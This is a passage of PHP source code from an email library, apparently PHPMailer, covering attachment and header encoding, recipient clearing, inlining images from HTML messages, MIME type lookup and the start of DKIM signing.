                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
